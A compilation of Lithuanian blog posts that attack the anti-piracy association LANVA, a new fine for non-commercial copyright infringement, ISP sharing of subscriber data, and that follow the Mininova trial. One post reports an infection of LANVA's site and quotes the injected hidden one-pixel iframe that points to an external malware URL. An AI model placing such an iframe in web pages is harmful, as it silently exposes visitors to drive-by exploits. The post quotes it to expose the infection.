Spaudoje buvo kalbama, kad LinkoManija nepaliks savo vartotojų. Taip ir padarė. Vienas kitam padedami, buvo nusamdytas advokatas, kuris labai daug prisideda, padedamas ir atlikdamas darbą beveik veltui.

Graudu, kad MegaNet be jokių klausimų ar teismo sprendimų taip paima ir išduoda daugelio asmenų duomenis, kurie neaišku ar yra kalti.  Mano nuomone IPT turėtų saugoti savo klientus ir nedalinti duomenų, jeigu teismas nenusprendė jų išduoti. Juk taip svarbu jiems būti neutraliems ir nešališkiems šioje pozicijoje.

Patekus į rankas visiems LANVA surinktiems įrodymams, yra matoma, kaip MegaNet sugebėjo vienu laišku išduoti net šešių asmenų asmens duomenis, į kuriuos įeina piliečių asmens kodai, gyvenamosios vietos, kontaktiniai telefonų numeriai, IP bei kompiuterių MAC adresai.

Laukiam rytojaus…

Naujasis, šviežiai iškeptas administracinių teisės pažeidimų kodeksas, rašo, kad kiekvienas šalyje pilietis, kuris naudojasi internetu, tapo praktiškai nusikaltėlis (nu gal ne kiekvienas, bet bent porą šimtų tūkstančių piliečių tikrai). Jeigu kas pažįsta žmogų, kuris nepažeidžia šito įstatymo, pasidalinkite su visais.

214⁽¹⁰⁾ straipsnis. Autorių teisių ir gretutinių teisių pažeidimas

Neteisėtas literatūros, mokslo ar meno kūrinio (įskaitant kompiuterių programas ir duomenų bazes) ar gretutinių teisių objekto arba jų dalies viešas atlikimas, atgaminimas, viešas paskelbimas, kitoks panaudojimas bet kokiais būdais ir priemonėmis nekomerciniais tikslais, taip pat neteisėtų kopijų platinimas, gabenimas ar laikymas komerciniais tikslais –

užtraukia baudą nuo vieno tūkstančio iki dviejų tūkstančių litų su kūrinio ar gretutinių teisių objekto neteisėtų kopijų konfiskavimu.

Gaila, tačiau tokie laikai ateina, kai Lietuvoje, norima bausti už nekomerciniais tikslais naudojamus kūrinius. Ši įstatymo pataisa gali nubausti kiekvieną vartotoją, potencialų faną. Autobuse leidžiami garsai iš mobiliojo telefono, tampa automatiškai draudžiami. Mokymosi ar švietimo tikslams parsisiunčiamos programos ar filmai dabar yra nusikaltimas.

Sunku pasakyti, ar tai pakeis žmonių nustatytas normas, tačiau LANVA teigia, kad gali būti nubaustas praktiškai kiekvienas interneto vartotojas.

Valstybei sugriežtinus atsakomybę, visiems interneto vartotojams, kurie neteisėtai naudoja kūrinius, netgi nekomerciniais tikslais, gresia administracinė atsakomybė.

Valstybė nesugriežtino įstatymo, o iš vis pridėjo, kad nekomerciniais tikslais naudojami kūriniai yra blogai. Įdomu, kokiais tyrimais jie rėmėsi, ar tiksliau kieno žodžiu.

Nemanau, kad šis įstatymas atspindi viešą interesą, o atvirkščiai suvaržo kelią į žinias ir inovacijas, kurios turėtų būti prieinamos kiekvienam piliečiui, kuris nesiekia komercinės naudos iš to. Valstybė turi kovoti už viešą interesą.

Abejoju, kad sumažės vartotojų, kurie kiekvieną dieną ima kažką iš interneto. Niekas to nesugebėjo padaryti per dešimtis metų. Manau problemos sprendimas yra netinkamas ir neapgalvotas.

Aptikau slaptą LANVA dokumentą, kurį ji išsiuntinėja visiems savo partneriams. Dokumento turinys šokiravo mane, kaip bandoma apgauti ne tik visą visuomenę, bet ir partnerius, su kuriais bandoma dirbti.

Kaip minima dokumente, jis turėtų būtį „pasirašytas“ 2009 m. liepos mėn. 8 d. (trečiadienį), 14.00 val. adresu Savanorių pr. 7 , Vilniuje.

Visa dokumento idėja yra priversti interneto paslaugų teikėjus (IPT) būti atsakingais už veiksmus, kurie yra atliekami jų vartotojų. Savo sąskaita atlikti savo srauto analizę ir monitoringą. Priversti leidybos studijas naudoti DRM technologijas, taip pakenkiant savo verslui bei vartotojų gerovei.

Aš pakomentuosiu trumpai keletą ištraukų:

- IPT įsipareigoja sudaryti sąlygas LANVA patikrinti savo serverius ir laikmenas (kuriuose tariamai saugoma intelektinės nuosavybės teises pažeidžianti informacija) per 24 valandas nuo prašymo pateikimo raštišku būdu.

LANVA nori priversti IPT pasirašyti dokumentą, kuriuo pagrindu būtų atskleidžiamos vartotojų pavardės ir asmeniniai duomenys, taip pažeidžiant kiekvieno žmogaus privatumą. Tokie duomenys turi būti atskleidžiami tik teismui nusprendus, o ne bet kokiems tretiems asmenims panorėjus. Europos Sąjunga yra ne kartą pasisakius, kad vartotojai turi turėti savo privatumą ir jų duomenys turi būti apsaugoti.

- IPT įsipareigoja LANVA prašymu pateikti jai duomenis asmenų, kurie besinaudodami IPT paslaugomis pažeidžia intelektinės nuosavybės teises.

Toliau sutartyje įrašyti punktai, kurių pagalba IPT bus atsakinga už visą srautą ir turinį, kurį atlieka jų vartotojai, bei pati turės pranešti pažeidimus, kuriuos atlieka vartotojai.

Prisegu patį visą dokumentą – LANVA_etikos_kodeksas

Tai tik mažas gan svarbus sutarties gabalėlis, kuriuo norima apgauti IPT. Sutartyje vienareikšmiškai neįmanoma įžvelgti naudos, kurią gautų leidybos įmonės arba interneto paslaugų teikėjai. Karteliniai susitarimai monopoliniam tinklui kurti bei leidybos įmonių prašymas diegti DRM pakenks visai technologinei visuomenės plėtrai, bei produktų kainų konkurencingumui.

Kopinkit viską, ką galite.

Pridedu: O štai ir Džiugo komentaras.

Švedijos antipiratinio biuro advokatas, kovojantis prieš The Pirate Bay, Henrikas Ponten gavo laišką iš švediškos mokesčių tarnybos, kuris jį šokiravo, praneša TF. Laiške rašoma, kad jo vardo pakeitimas yra patvirtintas ir nuo gegužes 29 dienos jis yra žinomas ne kaip Henrik Ponten, o kaip Pirate Ponten. Kažkas kažkokiu būdu sugebėjo pakeisti jo vardą iš Henrik į Pirate!

Švedijoje tokia procedūra galima atlikti internetu ir kažkas tuo pasinaudojo. Kažkokių ypatingų patvirtinimų nereikėjo ir vardas buvo pakeistas. Piratas Ponten jau padavė prašymą, kad jo buvęs vardas būtų pakeistas atgal. Kas dar sako, kad piratavimas nekuria kūrybiškumo?

Šiandiena prasidėjo kito torrentų indeksavimo giganto Mininova teismas. Teismo verdiktas turi būti paskelbtas liepos 15 dieną. Teismas turėjo prasidėti kėliom savaitėm ankščiau, tačiau teisėjas buvo pakeistas, nes jis buvo susijęs su muzikos industrija ir būtų buvęs šališkas. Teisme yra trys teisėjai, kurie ir spręs Mininovos likimą. Šiandieną abi šalys pristatė savo tikslus. BREIN teigia, kad Mininova turi savo sąskaitą įdiegti filtravimo sistemą, tuo tarpu Mininovos advokatė teigia, jog tinklapis ir taip atlieka daugiau, nei to reikalauja įstatymas bei pati siūliusi bendradarbiauti su BREIN, tačiau jie to nepanoro. Mininova turi torrentų panaikinimo galimybę ir tikina per praeitus metus panaikinusi 155 876 torrentų, kuriuos panaikinti kainavo apie 250 000 eurų.

Pamėginsiu trumpais įrašais padengti šitą teismą ir pranešti jums naujienas.  Šis teismas taip pat nustatys, ar torrent failiukai yra legalūs Olandijoje. Nelabai žinau teismo grafiką, bet artimiausiu metu turėtų būti viskas paskelbta.

Trojos arklio aprašymas anglų kalba:

The files infected with Trojan.SWF.IFrame.Gen contain ActiveScript code that injects malicious JavaScript into the viewed web page. The injected code alters the Document Object Model, adding IFRAME elements pointing to off-site exploits which download and install various unwanted programs on the user’s machine.

Įstatymas numato bausmę už automatiškai įsidiegiančių programų, bei vartotojų informacijos vagimo.  Aišku, pranešti reikia policijai.

Google jau žengė žingsnį ir visiems vartotojams, kurie nori patekti iš paieškos sistemos, pateikia įspėjamąjį pranešimą (paspauskite bet kurią nuorodą), kad tinklapyje yra virusų, taip stengdamasi apsaugoti vartotojus nuo esamos grėsmės.

Buvau šokiruotas matydamas, kas yra rašoma. Kaip tai yra toli nuo realių gyvenimiškų situacijų, su kuriomis susiduria kasdienis pilietis, tuo labiau – internautas. Maža ištrauka iš straipsniuko, kurią noriu pakomentuoti:

Vis dėlto netrukus padėtis gali pasikeisti. Kultūros  ministerija  dar  prie praėjusios Vyriausybės parengė įstatymo  projektą,  pagal  kurį siūloma  administracine  tvarka bausti ir tuos asmenis, kurie autorines ir gretutines teises pažeidžia neturėdami komercinių tikslų. Į užmarštį nustumtas projektas vėl prisimintas, jį apsvarstė Seimo komitetai ir, tikimasi, netrukus jis pasieks Seimą.

Toks rimtas parašymas gali susilaukti didelį visuomenės pasipiktinimą. Įgyvendinus tokį įstatymą, praktiškai kiekvienas žmogus taptų kaltas ir būtų baudžiamas. Visi visuomenės sluoksniai būtų paliesti. Kiek studentų ir žmonių trokštančių žinių nukentėtų? Kasdieną autorinės teisės būtų pažeidžiamos tūkstančius kartų (dabar turbūt tik šimtus kartų). Troleibuse moksleivio, kuris paleido savo mėgstamo atlikėjo dainą, kuri transliuojama viešai girdint visiems bendrakeleiviams būtų pažeidimas; studentas, kuris savo referate įdėjo  paveiksliuką, paimtą iš kokio nors portalo, taptų nusikaltėlis. Eilinis pilietis netinkamoje vietoje pasidaręs asmeninę nuotrauką irgi būtų baudžiamas, o ką jau kalbėti apie vaizdo įrašo peržiūrą YouTube, iš kur mums žinoti, kokiomis teisėmis jis apsaugotas? Juk jo žiūrėjimas – tai atgaminimas asmeniniame kompiuteryje. Aš pateikiau tik kelis smulkius pavyzdžius, o juk jų yra šimtai…

Autorių ir gretutinių teisių įstatymas kol kas nedraudžia mums viso to daryti, nesiekiant iš to komercinės naudos, o kai draus? Kiek artistų nesuras savo naujų fanų vien dėl to, kad troleibuse, ar YouTube’ėje  potencialus fanas neišgirdo tos dainos. Ką darys artistai, praradę potencialų faną, kai draugas negalės atsiųsti savo mėgstamo atlikėjo dainos pasiklausyti kitam draugui, nes tai bus nelegalu. Internete pilną tinklapių, kurie teikia vienokią ar kitokią informaciją. Ypač dabar labai sunku atskirti, kas pažeidžia autorines teisias, o kas ne.

Nereikia sėdėti sudėjus rankų, laukti, kol tokie įstatymai bus priimti. Tai apribos kiekvieno žmogaus laisvę, šalies technologinį kilimo lygį, vartotojų išprusimą, bei daugelis kitų faktorių.

<iframe src=”http://hotslotpot.cn/in.cgi?income65″ width=1 height=1 style=”visibility: hidden”>

Ne pirmą kartą matome, kaip ANVA ar LANVA nemoka ir nesupranta skaitmeninio pasaulio. Nesugeba susitvarkyti savo puslapio ir kelia visuomenei grėsmę.

Reikia imtis priemonių, kad tokie tinklapiai, užkrečiantys vartotojus virusais, turėtų būti sustabdyti. Juk tai aiškiai pažeidžia ne tik Lietuvos Respublikos įstatymus, bet kiekvieno vartotojo laisvės teises.

nonick LM’e vienas iš pirmujų pastebėjo šitą virusą, dėkui jam už info.

LANVA duomenimis, pernai jos vienijami Lietuvos kūrėjai dėl piratų veiklos neteko 1,16 mlrd. Lt. Autorių ir gretutines teises ginanti asociacija suskaičiavo ir bendrą piratų padarytą žalą – per šešerius metus, kai Lietuvoje tapo įprasta internete dalytis failais, kūrėjų ir gamintojų patirta žala siekia apie 5–6 mlrd. Lt

Sunku net įsivaizduoti, kad yra padaroma tokia žala. Kaip įmanoma tiek suskaičiuoti žalos? Primetam greitai matematiškai 1,16 mlrd. Lt/3 000 000 mln žmonių = 380 Lt per metus.

Kitas variantas. LATGA per metus surenka apie 900 000 litų iš visų Lietuvos gyventojų už tai, kad jie klauso ir transliuoja muziką visiems 3 mln. žmonių. Taigi, sumažinant per metus piratavimo lygį bent 1%, turėtų prisidėti prie tos sumos dar bent 11,6 mln. litų.

Nevieną kartą ir ne du rašėme, kad vyriausybinės reikšmės tyrimai parodė tik naudą, kurią teikia duomenų apsikeitimo tinklai.

Straipsnio pabaigoje taip pat įdomiai parašyta apie torrent.lt tinklapį.

Pasauliui smalsiai stebint “Pirate Bay” bylą, Lietuvoje pradėtas pirmas ikiteisminis tyrimas dėl failų dalijimosi tinklalapio Torrent.lt. Kriminalinės policijos biuro Intelektinės nuosavybės apsaugos skyriaus viršininko R.Šimulevičiaus teigimu, ši byla turėtų sukurti precedentą Lietuvoje kovojant su interneto piratais.

Nuo kada policija suinteresuota būtį šališka tokiuose dalykuose? Nuo kada ji pradeda ginti lobistus?  (L)ANVA tinklapyje (kuris veikia tik naudojant subdomeną www, nes turbūt dėl techninių problemų sunku 2 metus sutaisyti DNS), gražiai puikuojasi logotipas, kad jų partneriai yra policija. Jeigu policija partneriauja, tai kokią informaciją ji pateikia (L)ANVA’i ir ar tai nepažeidžia įstatymų? Juk policija negali kištis į tokius dalykus tarp dvejų organizacijų, o turi ginti visuomenės interesus.